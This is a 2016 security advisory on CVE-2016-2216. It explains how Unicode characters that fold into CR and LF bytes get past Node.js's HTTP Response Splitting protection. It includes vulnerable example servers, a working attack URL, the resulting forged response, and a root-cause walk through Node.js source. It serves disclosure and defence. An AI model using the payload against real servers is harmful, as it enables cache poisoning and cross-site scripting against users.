SafeBreach

HTTP Response Splitting in Node.js
(bypassing Node.js's HTTP Response Splitting protection)
CVE-2016-2216

Amit Klein

1. Summary

It is possible to mount an HTTP Response Splitting attack against some Node.js applications, even though Node.js supposedly protects against HTTP Response Splitting (https://nodejs.org/en/blog/release/v0.8.20/). Applications that add/modify HTTP response headers, embedding user input in them, such that the response has an empty body (a typical scenario is HTTP 3xx redirection) are vulnerable. Other (less likely) scenarios are also vulnerable.

2. About Node.js

From Wikipedia (https://en.wikipedia.org/wiki/Node.js):

> "Node.js is an open-source, cross-platform runtime environment for developing server-side web applications. Node.js applications are written in JavaScript and can be run within the Node.js runtime on a wide variety of platforms, including OS X, Microsoft Windows, Linux, FreeBSD, NonStop, IBM AIX, IBM System z and IBM i. Its work is hosted and supported by the Node.js Foundation, a collaborative project at the Linux Foundation. [...] Node.js is used by IBM, Microsoft, Yahoo!, Walmart, Groupon, SAP, LinkedIn, Rakuten, PayPal, Voxer, GoDaddy, and Netflix."

3. About HTTP Response Splitting

From https://dl.packetstormsecurity.net/papers/general/whitepaper_httpresponse.pdf:

> ""HTTP Response Splitting" is a new [*that was in 2004… - AK*] application attack technique which enables various new attacks such as web cache poisoning, cross user defacement, hijacking pages with sensitive user information and an old favorite, cross-site scripting (XSS). [...]
> The essence of HTTP Response Splitting is the attacker's ability to send a single HTTP request that forces the web server to form an output stream, which is then interpreted by the target as two HTTP responses instead of one response, in the normal case. The first response may be partially controlled by the attacker, but this is less important. What is material is that the attacker completely controls the form of the second response from the HTTP status line to the last byte of the HTTP response body. Once this is possible, the attacker realizes the attack by sending two requests through the target. The first one invokes two responses from the web server, and the second request would typically be to some "innocent" resource on the web server. However, the second request would be matched, by the target, to the second HTTP response, which is fully controlled by the attacker. The attacker, therefore, tricks the target into believing that a particular resource on the web server (designated by the second request) is the server's HTTP response (server content), while it is in fact some data, which is forged by the attacker through the web server – this is the second response."

4. The Node.js vulnerability/attack description

The reference vulnerable Node.js application is this (let's say this logic is applied for http://www.example.com/welcome):

```
var http = require('http');
function handleRequest(request, response)
{
 response.writeHead(302,
   {Location: '/foo?lang='+require('url').parse(request.url,true).query.lang});
 response.end();
}
var server = http.createServer(handleRequest);
server.listen(80, function(){});
```

First, note that it's not vulnerable to a naïve attempt of HTTP Response Splitting.
A URL such as:

```
/welcome?lang=bar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aC
ontent-Length:%2020%0d%0aLast-Modified:%20Mon,%2027%20Oct%202003%2014:50:18%20GMT
%0d%0aContent-Type:%20text/html%0d%0a%0d%0a%3chtml%3eGotcha!%3c/html%3e
```

Contains URL-encoded CRs (%0d) and LFs (%0a). As expected, the attack is blocked by Node.js.
The result HTTP response stream is:

```
HTTP/1.1 302 Found
Location: /foo?lang=barContent-Length: 0HTTP/1.1 200 OKContent-Length: ...
Date: Thu, 21 Jan 2016 11:52:34 GMT
Connection: keep-alive
Transfer-Encoding: chunked

0
```

As can be seen, Node.js redacted CRs and LFs, thus rendering the attack ineffective. However, if, instead of CRs and LFs, the attacker uses Unicode symbols whose code point "fold" (i.e. take the same value, modulo 256) into CRs and LFs, the attacker can bypass Node.js's protection- that's because Node.js first compares the (Unicode) strings for existence of CRs and LFs (and finds none), then "folds" the string to bytes when it is part of a header and there is no response body. So Unicode symbols U+010D, U+020D, U+030D, etc. can be used for CR, and U+010A, U+020A, U+030A, etc. can be used for LF. In the above reference example, the attacker can use UTF8 representation of the above symbols as the user input, so e.g. %c4%8d (UTF8 encoding for U+010D) for CR and %c4%8a (UTF8 encoding for U+010A) for LF.
The attack URL is thus:

```
/welcome?lang=bar%c4%8d%c4%8aContent-Length:%200%c4%8d%c4%8a%c4%8d%c4%8aHTTP/1.1
%20200%20OK%c4%8d%c4%8aContent-Length:%2020%c4%8d%c4%8aLast-Modified:%20Mon,%2027
%20Oct%202003%2014:50:18%20GMT%c4%8d%c4%8aContent-Type:%20text/html%c4%8d%c4%8a%
c4%8d%c4%8a%3chtml%3eGotcha!%3c/html%3e
```

And the corresponding HTTP response stream is:

```
HTTP/1.1 302 Found
Location: /foo?lang=bar
Content-Length: 0

HTTP/1.1 200 OK
Content-Length: 20
Last-Modified: Mon, 27 Oct 2003 14:50:18 GMT
Content-Type: text/html

<html>Gotcha!</html>
Date: Thu, 21 Jan 2016 12:05:38 GMT
Connection: keep-alive
Transfer-Encoding: chunked

0
```

As can be seen, the attack now succeeds - the attacker fully controls the 2nd HTTP response.
The attack works both for HTTP/1.1 requests (see above), in which case the response is sent by Node.js with chunked-encoding, and for HTTP/1.0 requests.

5. Root cause (based on Node.js 4.x/5.x code base)

HTTP headers are set through *ServerResponse.writeHead* (and its alias, *ServerResponse.writeHeader*, both in `./lib/_http_server.js`) - which calls *OutgoingMessage._storeHeader* (in `./lib/_http_outgoing.js`), which in turn calls the local function (in `./lib/_http_outgoing.js`) *storeHeader*, which finally calls the local function *escapeHeaderValue*:

```
function escapeHeaderValue(value) {
  // Protect against response splitting. The regex test is there to
  // minimize the performance impact in the common case.
  return /[\r\n]/.test(value) ? value.replace(/[\r\n]+[ \t]*/g, '') : value;
}
```

The HTTP header value (Unicode string) is thus checked for CR/LF (Unicode) characters, and these are redacted if found (along with a white-space character sequence immediately following them, if such exists). This is actually a good security practice. However, this protection code does not redact the Unicode characters (U+010D, U+010A) sent (UTF8-encoded) in the attack payload. This is by design - after all, these Unicode symbols are not CR and LF.
The problem stems from the fact that when the response body is empty, the header (Unicode) strings are folded into bytes. Here is why:
Note that the first call to *OutgoingMessage._send()* (in `./lib/_http_outgoing.js`) flushes the headers:

```
// This abstract either writing directly to the socket or buffering it.
OutgoingMessage.prototype._send = function(data, encoding, callback) {
  // This is a shameful hack to get the headers and first body chunk onto
  // the same packet. Future versions of Node are going to take care of
  // this at a lower level and in a more general way.
  if (!this._headerSent) {
    if (typeof data === 'string' &&
        encoding !== 'hex' &&
        encoding !== 'base64') {
      data = this._header + data;
    } else {
      ...
    }
    this._headerSent = true;
  }
  return this._writeRaw(data, encoding, callback);
};
```

Now observe what happens when *OutgoingMessage.end* is called (this happens at the end of HTTP response formation). The relevant code (from `./lib/_http_outgoing.js`) of the said function is:

```
if (this._hasBody && this.chunkedEncoding) {
    ret = this._send('0\r\n' + this._trailer + '\r\n', 'binary', finish);
} else {
    // Force a flush, HACK.
    ret = this._send('', 'binary', finish);
}
```

It is important to note that HTTP response headers are flushed upon the first call to *OutgoingMessage.write()/OutgoingMessage._send()*, so if no body data was provided earlier, or as a parameter data to *OutgoingMessage.end()* itself, then the HTTP headers are still not flushed when the execution flows to the above code. Thus, the headers will be sent with encoding='binary'.
The 'binary' encoding causes Unicode strings (the standard Javascript strings) to be "folded" into bytes - this can be seen in function *CopyCharsUnsigned* (`./deps/v8/src/utils.h`).
So the original Unicode symbols in the attack payload (U+010D, U+010A) are folded into bytes - 0x0D (CR) and 0x0A (LF), respectively. And in this form these bytes truncate HTTP headers and facilitate HTTP Response Splitting.

It follows that the precise condition for the attack to succeed is that the first time *OutgoingMessage.write* is invoked, it is done with "binary" or "ascii" encoding. An empty response satisfies this requirement. However it is not the only scenario. The following scenario satisfies this as well (though it's less likely to be encountered in real-life application):

```
var http = require('http');
function handleRequest(request, response)
{
 response.writeHead(200,
   {'Set-Cookie': 'lang='+require('url').parse(request.url,true).query.lang});
 response.write('<html>foo<html>','ascii');  // or 'binary'
 response.end();
}
var server = http.createServer(handleRequest);
server.listen(80, function(){});
```

This is a non-empty HTTP response scenario (with HTTP status 200), in which the application developer

explicitly specifies the encoding of the first response data chunk to be 'ascii'. Specifying the encoding in the code snippet above is somewhat unusual, and is only provided in this form to illustrate the issue, but if the application developer needs to register a callback, then it becomes necessary to specify the encoding as well, thus:

```
response.write('<html>foo<html>','ascii',callback);  // or 'binary'
```

The same URL as above will trigger HTTP Response Splitting in this case.

6. Affected Node.js versions

All Node.js versions (at least since v0.8.20 anyway) are vulnerable to the less-likely scenario of writing the first response data with "binary" or "ascii" encoding.
As for the more common scenario of a response with empty body:
v0.12.0 and above - vulnerable. Specifically tested with v5.5.0 ("Stable") and v4.2.6 ("LTS").
v0.11.6-0.11.16 - vulnerable.
v0.10.17-0.10.41 - vulnerable only in HTTP/1.1 (chunked encoding), not in HTTP/1.0.
NOTE: In v0.10.17-0.10.41 the function *OutgoingMessage.end()* (in `./lib/http.js`) contains the following code:

```
if (this.chunkedEncoding) {
      ret = this._send('0\r\n' + this._trailer + '\r\n', 'ascii');
    } else {
      // Force a flush, HACK.
      ret = this._send('');
    }
```

So if chunked-encoding is needed, 'ascii' encoding is used, which, like 'binary', forces folding. If chunked-encoding is not needed, then *OutgoingMessage._send()* is called without encoding, which defaults to UTF8, hence no folding.
But it appears that Node.js responds with the HTTP version of the client request, thus the attacker can simply opt to use HTTP/1.1 in the request in order to force HTTP/1.1 response, and chunked-encoding.

7. Disclosure timeline

January 21st, 2016 - initial notice to Node.js.

February 9th, 2016 - public release, along with Node.js's fix release. Node.js's announcement can be found here: https://nodejs.org/en/blog/vulnerability/february-2016-security-releases/

8. Fix

According to the vendor, Node.js versions 5.6.0, 4.3.0, 0.12.10 and 0.10.42 contain a fix for this vulnerability.